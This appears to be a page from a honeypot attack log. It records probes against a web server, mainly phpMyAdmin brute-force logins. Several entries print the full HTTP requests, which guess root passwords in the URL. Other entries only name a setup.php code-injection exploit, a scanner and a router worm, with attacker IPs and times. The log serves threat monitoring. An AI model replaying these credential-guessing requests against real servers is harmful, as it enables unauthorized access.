ASN/ISP: AS45090 Shenzhen Tencent Computer Systems Company Limited

Location: Beijing, Haidian

GET /phpMyAdmin/index.php?pma_username=root&pma_password=passw0rd1&server=1 HTTP/1.1
Host: 117.31.45.167
cache-control: no-cache
cookie: phpMyAdmin=f79f000810d5c8ab4594dd7192b9d1ef
connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0

PHPMYADMIN

BRUTEFORCE

phpMyAdmin login

[Include] [Exclude] [info]

[Attack info]

Attacker: 132.232.6.93

Dest. port: 80

Time: 11/08/2020 04:41:37

Resource(s):

Request: permalink

[Extra info]

ASN/ISP: AS45090 Shenzhen Tencent Computer Systems Company Limited

Location: Beijing, Haidian

GET /phpMyAdmin/index.php?pma_username=root&pma_password=passw&server=1 HTTP/1.1
Host: 117.31.45.167
cache-control: no-cache
cookie: phpMyAdmin=f79f000810d5c8ab4594dd7192b9d1ef
connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0

PHPMYADMIN

BRUTEFORCE

phpMyAdmin login

[Include] [Exclude] [info]

[Attack info]

Attacker: 132.232.6.93

Dest. port: 80

Time: 11/08/2020 04:41:34

Resource(s):

Request: permalink

[Extra info]

ASN/ISP: AS45090 Shenzhen Tencent Computer Systems Company Limited

Location: Beijing, Haidian

GET /phpMyAdmin/index.php?pma_username=root&pma_password=passe&server=1 HTTP/1.1
Host: 117.31.45.167
cache-control: no-cache
cookie: phpMyAdmin=f79f000810d5c8ab4594dd7192b9d1ef
connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0

PHPMYADMIN

BRUTEFORCE

phpMyAdmin login

[Include] [Exclude] [info]

[Attack info]

Attacker: 132.232.6.93

Dest. port: 80

Time: 11/08/2020 04:41:31

Resource(s):

Request: permalink

[Extra info]

ASN/ISP: AS45090 Shenzhen Tencent Computer Systems Company Limited

Location: Beijing, Haidian

GET /phpMyAdmin/index.php?pma_username=root&[email protected]&server=1 HTTP/1.1
Host: 117.31.45.167
cache-control: no-cache
cookie: phpMyAdmin=f79f000810d5c8ab4594dd7192b9d1ef
connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0

PHPMYADMIN

BRUTEFORCE

1-10 of 6218231 results (621824 pages)

phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit

[Attack info]

Attacker: 167.71.224.29

Dest. port: 80

Time: 12/08/2020 08:06:11

Resource(s): [details]

Request: permalink

[Extra info]

ASN/ISP: AS14061 DigitalOcean, LLC

Location: Karnataka, Bengaluru (zipcode 560001)

Description

CVE

Author

Reference

Plugin ID

PHPMYADMIN

INJECTION

Resource ( 1 / 1 )

phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit

[Attack info]

Attacker: 167.71.224.29

Dest. port: 80

Time: 12/08/2020 08:06:09

Resource(s): [details]

Request: permalink

[Extra info]

ASN/ISP: AS14061 DigitalOcean, LLC

Location: Karnataka, Bengaluru (zipcode 560001)

Description

CVE

Author

Reference

Plugin ID

PHPMYADMIN

INJECTION

Resource ( 1 / 1 )

w00tw00t Scanner

[Attack info]

Attacker: 51.159.20.78

Dest. port: 80

Time: 12/08/2020 07:18:24

Resource(s):

Request: permalink

[Extra info]

ASN/ISP: AS12876 ONLINE S.A.S.

Location: Île-de-France, Paris (zipcode 75001)

rDNS: 51-159-20-78.rev.poneytelecom.eu

Description

CVE

Author

Reference

Plugin ID

W00TW00T

WOOTWOOT

SCANNER

Resource ( 1 / 0 )

Linksys "The Moon" Worm

[Attack info]

Attacker: 221.13.203.135

Dest. port: 8080

Time: 11/08/2020 09:44:10

Resource(s):

Request: permalink

[Extra info]

ASN/ISP: AS4837 CHINA UNICOM China169 Backbone

Location: Henan, Zhengzhou

rDNS: hn.kd.smx.adsl

Description

CVE

Author

Reference

Plugin ID

LINKSYS

ROUTER

WORM

DEVICE

Resource ( 1 / 0 )

phpMyAdmin login

[Attack info]